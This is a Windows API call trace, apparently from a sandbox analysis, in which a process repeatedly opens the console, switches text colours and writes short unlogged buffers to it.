	[0088.619] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x127
	[0088.619] GetLastError () returned 0xcb
	[0088.619] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x127, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.619] GetLastError () returned 0xcb
	[0088.619] SetConsoleTextAttribute (hConsoleOutput=0x127, wAttributes=0xc) returned 1
	[0088.620] GetLastError () returned 0xcb
	[0088.620] CloseHandle (hObject=0x127) returned 1
	[0088.620] GetLastError () returned 0xcb
	[0088.624] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x127
	[0088.625] GetLastError () returned 0xcb
	[0088.625] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x127, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.625] GetLastError () returned 0xcb
	[0088.625] SetConsoleTextAttribute (hConsoleOutput=0x127, wAttributes=0xc) returned 1
	[0088.625] GetLastError () returned 0xcb
	[0088.625] CloseHandle (hObject=0x127) returned 1
	[0088.625] GetLastError () returned 0xcb
	[0088.630] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x127
	[0088.630] GetLastError () returned 0xcb
	[0088.630] GetConsoleMode (in: hConsoleHandle=0x127, lpMode=0x5eaefcc | out: lpMode=0x5eaefcc) returned 1
	[0088.630] GetLastError () returned 0xcb
	[0088.630] WriteConsoleW (in: hConsoleOutput=0x127, lpBuffer=0x2cda7f8*, nNumberOfCharsToWrite=0x1e, lpNumberOfCharsWritten=0x5eaefcc, lpReserved=0x0 | out: lpBuffer=0x2cda7f8*, lpNumberOfCharsWritten=0x5eaefcc*=0x1e) returned 1
	[0088.631] GetLastError () returned 0xcb
	[0088.631] CloseHandle (hObject=0x127) returned 1
	[0088.631] GetLastError () returned 0xcb
	[0088.636] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x127
	[0088.636] GetLastError () returned 0xcb
	[0088.636] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x127, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.636] GetLastError () returned 0xcb
	[0088.636] SetConsoleTextAttribute (hConsoleOutput=0x127, wAttributes=0x7) returned 1
	[0088.636] GetLastError () returned 0xcb
	[0088.636] CloseHandle (hObject=0x127) returned 1
	[0088.637] GetLastError () returned 0xcb
	[0088.644] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x127
	[0088.645] GetLastError () returned 0xcb
	[0088.645] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x127, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.645] GetLastError () returned 0xcb
	[0088.645] SetConsoleTextAttribute (hConsoleOutput=0x127, wAttributes=0x7) returned 1
	[0088.645] GetLastError () returned 0xcb
	[0088.645] CloseHandle (hObject=0x127) returned 1
	[0088.645] GetLastError () returned 0xcb
	[0088.650] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x127
	[0088.650] GetLastError () returned 0xcb
	[0088.650] GetConsoleMode (in: hConsoleHandle=0x127, lpMode=0x5eaf00c | out: lpMode=0x5eaf00c) returned 1
	[0088.651] GetLastError () returned 0xcb
	[0088.651] WriteConsoleW (in: hConsoleOutput=0x127, lpBuffer=0x2979f7c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5eaf00c, lpReserved=0x0 | out: lpBuffer=0x2979f7c*, lpNumberOfCharsWritten=0x5eaf00c*=0x1) returned 1
	[0088.651] GetLastError () returned 0xcb
	[0088.651] CloseHandle (hObject=0x127) returned 1
	[0088.651] GetLastError () returned 0xcb
	[0088.656] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x127
	[0088.656] GetLastError () returned 0xcb
	[0088.656] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x127, lpConsoleScreenBufferInfo=0x5eaefd8 | out: lpConsoleScreenBufferInfo=0x5eaefd8) returned 1
	[0088.656] GetLastError () returned 0xcb
	[0088.657] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x12b, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.657] GetLastError () returned 0xcb
	[0088.661] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x12f
	[0088.662] GetLastError () returned 0xcb
	[0088.662] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x12f, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.662] GetLastError () returned 0xcb
	[0088.667] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x133
	[0088.667] GetLastError () returned 0xcb
	[0088.667] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x133, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.667] GetLastError () returned 0xcb
	[0088.667] SetConsoleTextAttribute (hConsoleOutput=0x133, wAttributes=0xc) returned 1
	[0088.667] GetLastError () returned 0xcb
	[0088.668] CloseHandle (hObject=0x133) returned 1
	[0088.668] GetLastError () returned 0xcb
	[0088.673] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x133
	[0088.673] GetLastError () returned 0xcb
	[0088.673] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x133, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.673] GetLastError () returned 0xcb
	[0088.673] SetConsoleTextAttribute (hConsoleOutput=0x133, wAttributes=0xc) returned 1
	[0088.673] GetLastError () returned 0xcb
	[0088.674] CloseHandle (hObject=0x133) returned 1
	[0088.674] GetLastError () returned 0xcb
	[0088.678] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x133
	[0088.679] GetLastError () returned 0xcb
	[0088.679] GetConsoleMode (in: hConsoleHandle=0x133, lpMode=0x5eaefcc | out: lpMode=0x5eaefcc) returned 1
	[0088.679] GetLastError () returned 0xcb
	[0088.679] WriteConsoleW (in: hConsoleOutput=0x133, lpBuffer=0x2cdac38*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5eaefcc, lpReserved=0x0 | out: lpBuffer=0x2cdac38*, lpNumberOfCharsWritten=0x5eaefcc*=0x4f) returned 1
	[0088.679] GetLastError () returned 0xcb
	[0088.679] CloseHandle (hObject=0x133) returned 1
	[0088.679] GetLastError () returned 0xcb
	[0088.684] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x133
	[0088.685] GetLastError () returned 0xcb
	[0088.685] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x133, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.685] GetLastError () returned 0xcb
	[0088.685] SetConsoleTextAttribute (hConsoleOutput=0x133, wAttributes=0x7) returned 1
	[0088.685] GetLastError () returned 0xcb
	[0088.685] CloseHandle (hObject=0x133) returned 1
	[0088.685] GetLastError () returned 0xcb
	[0088.691] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x133
	[0088.691] GetLastError () returned 0xcb
	[0088.691] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x133, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.691] GetLastError () returned 0xcb
	[0088.691] SetConsoleTextAttribute (hConsoleOutput=0x133, wAttributes=0x7) returned 1
	[0088.692] GetLastError () returned 0xcb
	[0088.692] CloseHandle (hObject=0x133) returned 1
	[0088.692] GetLastError () returned 0xcb
	[0088.696] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x133
	[0088.697] GetLastError () returned 0xcb
	[0088.697] GetConsoleMode (in: hConsoleHandle=0x133, lpMode=0x5eaf00c | out: lpMode=0x5eaf00c) returned 1
	[0088.697] GetLastError () returned 0xcb
	[0088.697] WriteConsoleW (in: hConsoleOutput=0x133, lpBuffer=0x2979f7c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5eaf00c, lpReserved=0x0 | out: lpBuffer=0x2979f7c*, lpNumberOfCharsWritten=0x5eaf00c*=0x1) returned 1
	[0088.697] GetLastError () returned 0xcb
	[0088.697] CloseHandle (hObject=0x133) returned 1
	[0088.698] GetLastError () returned 0xcb
	[0088.705] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x133
	[0088.705] GetLastError () returned 0xcb
	[0088.705] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x133, lpConsoleScreenBufferInfo=0x5eaefd8 | out: lpConsoleScreenBufferInfo=0x5eaefd8) returned 1
	[0088.706] GetLastError () returned 0xcb
	[0088.706] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x137, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.706] GetLastError () returned 0xcb
	[0088.711] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13b
	[0088.711] GetLastError () returned 0xcb
	[0088.711] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13b, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.711] GetLastError () returned 0xcb
	[0088.716] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13f
	[0088.717] GetLastError () returned 0xcb
	[0088.717] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13f, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.717] GetLastError () returned 0xcb
	[0088.717] SetConsoleTextAttribute (hConsoleOutput=0x13f, wAttributes=0xc) returned 1
	[0088.717] GetLastError () returned 0xcb
	[0088.718] CloseHandle (hObject=0x13f) returned 1
	[0088.718] GetLastError () returned 0xcb
	[0088.723] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13f
	[0088.723] GetLastError () returned 0xcb
	[0088.723] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13f, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.723] GetLastError () returned 0xcb
	[0088.723] SetConsoleTextAttribute (hConsoleOutput=0x13f, wAttributes=0xc) returned 1
	[0088.724] GetLastError () returned 0xcb
	[0088.724] CloseHandle (hObject=0x13f) returned 1
	[0088.724] GetLastError () returned 0xcb
	[0088.729] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13f
	[0088.729] GetLastError () returned 0xcb
	[0088.729] GetConsoleMode (in: hConsoleHandle=0x13f, lpMode=0x5eaefcc | out: lpMode=0x5eaefcc) returned 1
	[0088.730] GetLastError () returned 0xcb
	[0088.730] WriteConsoleW (in: hConsoleOutput=0x13f, lpBuffer=0x2cdb0e0*, nNumberOfCharsToWrite=0xe, lpNumberOfCharsWritten=0x5eaefcc, lpReserved=0x0 | out: lpBuffer=0x2cdb0e0*, lpNumberOfCharsWritten=0x5eaefcc*=0xe) returned 1
	[0088.730] GetLastError () returned 0xcb
	[0088.730] CloseHandle (hObject=0x13f) returned 1
	[0088.730] GetLastError () returned 0xcb
	[0088.735] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13f
	[0088.736] GetLastError () returned 0xcb
	[0088.736] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13f, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.736] GetLastError () returned 0xcb
	[0088.736] SetConsoleTextAttribute (hConsoleOutput=0x13f, wAttributes=0x7) returned 1
	[0088.736] GetLastError () returned 0xcb
	[0088.736] CloseHandle (hObject=0x13f) returned 1
	[0088.737] GetLastError () returned 0xcb
	[0088.741] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13f
	[0088.742] GetLastError () returned 0xcb
	[0088.742] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13f, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.742] GetLastError () returned 0xcb
	[0088.742] SetConsoleTextAttribute (hConsoleOutput=0x13f, wAttributes=0x7) returned 1
	[0088.742] GetLastError () returned 0xcb
	[0088.742] CloseHandle (hObject=0x13f) returned 1
	[0088.743] GetLastError () returned 0xcb
	[0088.748] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13f
	[0088.748] GetLastError () returned 0xcb
	[0088.748] GetConsoleMode (in: hConsoleHandle=0x13f, lpMode=0x5eaf00c | out: lpMode=0x5eaf00c) returned 1
	[0088.749] GetLastError () returned 0xcb
	[0088.749] WriteConsoleW (in: hConsoleOutput=0x13f, lpBuffer=0x2979f7c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5eaf00c, lpReserved=0x0 | out: lpBuffer=0x2979f7c*, lpNumberOfCharsWritten=0x5eaf00c*=0x1) returned 1
	[0088.749] GetLastError () returned 0xcb
	[0088.749] CloseHandle (hObject=0x13f) returned 1
	[0088.749] GetLastError () returned 0xcb
	[0088.754] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13f
	[0088.754] GetLastError () returned 0xcb
	[0088.754] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13f, lpConsoleScreenBufferInfo=0x5eaefd8 | out: lpConsoleScreenBufferInfo=0x5eaefd8) returned 1
	[0088.755] GetLastError () returned 0xcb
	[0088.755] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x143, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.755] GetLastError () returned 0xcb
	[0088.760] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x147
	[0088.760] GetLastError () returned 0xcb
	[0088.760] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x147, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.760] GetLastError () returned 0xcb
	[0088.768] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14b
	[0088.769] GetLastError () returned 0xcb
	[0088.769] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x14b, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.769] GetLastError () returned 0xcb
	[0088.769] SetConsoleTextAttribute (hConsoleOutput=0x14b, wAttributes=0xc) returned 1
	[0088.769] GetLastError () returned 0xcb
	[0088.769] CloseHandle (hObject=0x14b) returned 1
	[0088.769] GetLastError () returned 0xcb
	[0088.774] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14b
	[0088.775] GetLastError () returned 0xcb
	[0088.775] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x14b, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.775] GetLastError () returned 0xcb
	[0088.775] SetConsoleTextAttribute (hConsoleOutput=0x14b, wAttributes=0xc) returned 1
	[0088.775] GetLastError () returned 0xcb
	[0088.775] CloseHandle (hObject=0x14b) returned 1
	[0088.776] GetLastError () returned 0xcb
	[0088.780] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14b
	[0088.781] GetLastError () returned 0xcb
	[0088.781] GetConsoleMode (in: hConsoleHandle=0x14b, lpMode=0x5eaefcc | out: lpMode=0x5eaefcc) returned 1
	[0088.781] GetLastError () returned 0xcb
	[0088.781] WriteConsoleW (in: hConsoleOutput=0x14b, lpBuffer=0x2cdb4c0*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5eaefcc, lpReserved=0x0 | out: lpBuffer=0x2cdb4c0*, lpNumberOfCharsWritten=0x5eaefcc*=0x4f) returned 1
	[0088.781] GetLastError () returned 0xcb
	[0088.781] CloseHandle (hObject=0x14b) returned 1
	[0088.782] GetLastError () returned 0xcb
	[0088.786] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14b
	[0088.787] GetLastError () returned 0xcb
	[0088.787] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x14b, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.787] GetLastError () returned 0xcb
	[0088.787] SetConsoleTextAttribute (hConsoleOutput=0x14b, wAttributes=0x7) returned 1
	[0088.787] GetLastError () returned 0xcb
	[0088.787] CloseHandle (hObject=0x14b) returned 1
	[0088.787] GetLastError () returned 0xcb
	[0088.792] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14b
	[0088.793] GetLastError () returned 0xcb
	[0088.793] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x14b, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.793] GetLastError () returned 0xcb
	[0088.793] SetConsoleTextAttribute (hConsoleOutput=0x14b, wAttributes=0x7) returned 1
	[0088.793] GetLastError () returned 0xcb
	[0088.793] CloseHandle (hObject=0x14b) returned 1
	[0088.794] GetLastError () returned 0xcb
	[0088.798] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14b
	[0088.799] GetLastError () returned 0xcb
	[0088.799] GetConsoleMode (in: hConsoleHandle=0x14b, lpMode=0x5eaf00c | out: lpMode=0x5eaf00c) returned 1
	[0088.799] GetLastError () returned 0xcb
	[0088.799] WriteConsoleW (in: hConsoleOutput=0x14b, lpBuffer=0x2979f7c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5eaf00c, lpReserved=0x0 | out: lpBuffer=0x2979f7c*, lpNumberOfCharsWritten=0x5eaf00c*=0x1) returned 1
	[0088.800] GetLastError () returned 0xcb
	[0088.800] CloseHandle (hObject=0x14b) returned 1
	[0088.800] GetLastError () returned 0xcb
	[0088.807] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14b
	[0088.807] GetLastError () returned 0xcb
	[0088.807] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x14b, lpConsoleScreenBufferInfo=0x5eaefd8 | out: lpConsoleScreenBufferInfo=0x5eaefd8) returned 1
	[0088.808] GetLastError () returned 0xcb
	[0088.808] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x14f, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.808] GetLastError () returned 0xcb
	[0088.813] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x153
	[0088.814] GetLastError () returned 0xcb
	[0088.814] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x153, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.814] GetLastError () returned 0xcb
	[0088.820] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x157
	[0088.820] GetLastError () returned 0xcb
	[0088.820] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x157, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.820] GetLastError () returned 0xcb
	[0088.820] SetConsoleTextAttribute (hConsoleOutput=0x157, wAttributes=0xc) returned 1
	[0088.820] GetLastError () returned 0xcb
	[0088.821] CloseHandle (hObject=0x157) returned 1
	[0088.821] GetLastError () returned 0xcb
	[0088.828] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x157
	[0088.829] GetLastError () returned 0xcb
	[0088.829] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x157, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.829] GetLastError () returned 0xcb
	[0088.829] SetConsoleTextAttribute (hConsoleOutput=0x157, wAttributes=0xc) returned 1
	[0088.829] GetLastError () returned 0xcb
	[0088.829] CloseHandle (hObject=0x157) returned 1
	[0088.829] GetLastError () returned 0xcb
	[0088.834] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x157
	[0088.834] GetLastError () returned 0xcb
	[0088.834] GetConsoleMode (in: hConsoleHandle=0x157, lpMode=0x5eaefcc | out: lpMode=0x5eaefcc) returned 1
	[0088.835] GetLastError () returned 0xcb
	[0088.835] WriteConsoleW (in: hConsoleOutput=0x157, lpBuffer=0x2cdb99c*, nNumberOfCharsToWrite=0x1c, lpNumberOfCharsWritten=0x5eaefcc, lpReserved=0x0 | out: lpBuffer=0x2cdb99c*, lpNumberOfCharsWritten=0x5eaefcc*=0x1c) returned 1
	[0088.835] GetLastError () returned 0xcb
	[0088.835] CloseHandle (hObject=0x157) returned 1
	[0088.835] GetLastError () returned 0xcb
	[0088.840] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x157
	[0088.840] GetLastError () returned 0xcb
	[0088.840] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x157, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.840] GetLastError () returned 0xcb
	[0088.840] SetConsoleTextAttribute (hConsoleOutput=0x157, wAttributes=0x7) returned 1
	[0088.840] GetLastError () returned 0xcb
	[0088.841] CloseHandle (hObject=0x157) returned 1
	[0088.841] GetLastError () returned 0xcb
	[0088.845] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x157
	[0088.846] GetLastError () returned 0xcb
	[0088.846] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x157, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.846] GetLastError () returned 0xcb
	[0088.846] SetConsoleTextAttribute (hConsoleOutput=0x157, wAttributes=0x7) returned 1
	[0088.846] GetLastError () returned 0xcb
	[0088.846] CloseHandle (hObject=0x157) returned 1
	[0088.846] GetLastError () returned 0xcb
	[0088.851] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x157
	[0088.852] GetLastError () returned 0xcb
	[0088.852] GetConsoleMode (in: hConsoleHandle=0x157, lpMode=0x5eaf00c | out: lpMode=0x5eaf00c) returned 1
	[0088.853] GetLastError () returned 0xcb
	[0088.853] WriteConsoleW (in: hConsoleOutput=0x157, lpBuffer=0x2979f7c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5eaf00c, lpReserved=0x0 | out: lpBuffer=0x2979f7c*, lpNumberOfCharsWritten=0x5eaf00c*=0x1) returned 1
	[0088.853] GetLastError () returned 0xcb
	[0088.853] CloseHandle (hObject=0x157) returned 1
	[0088.853] GetLastError () returned 0xcb
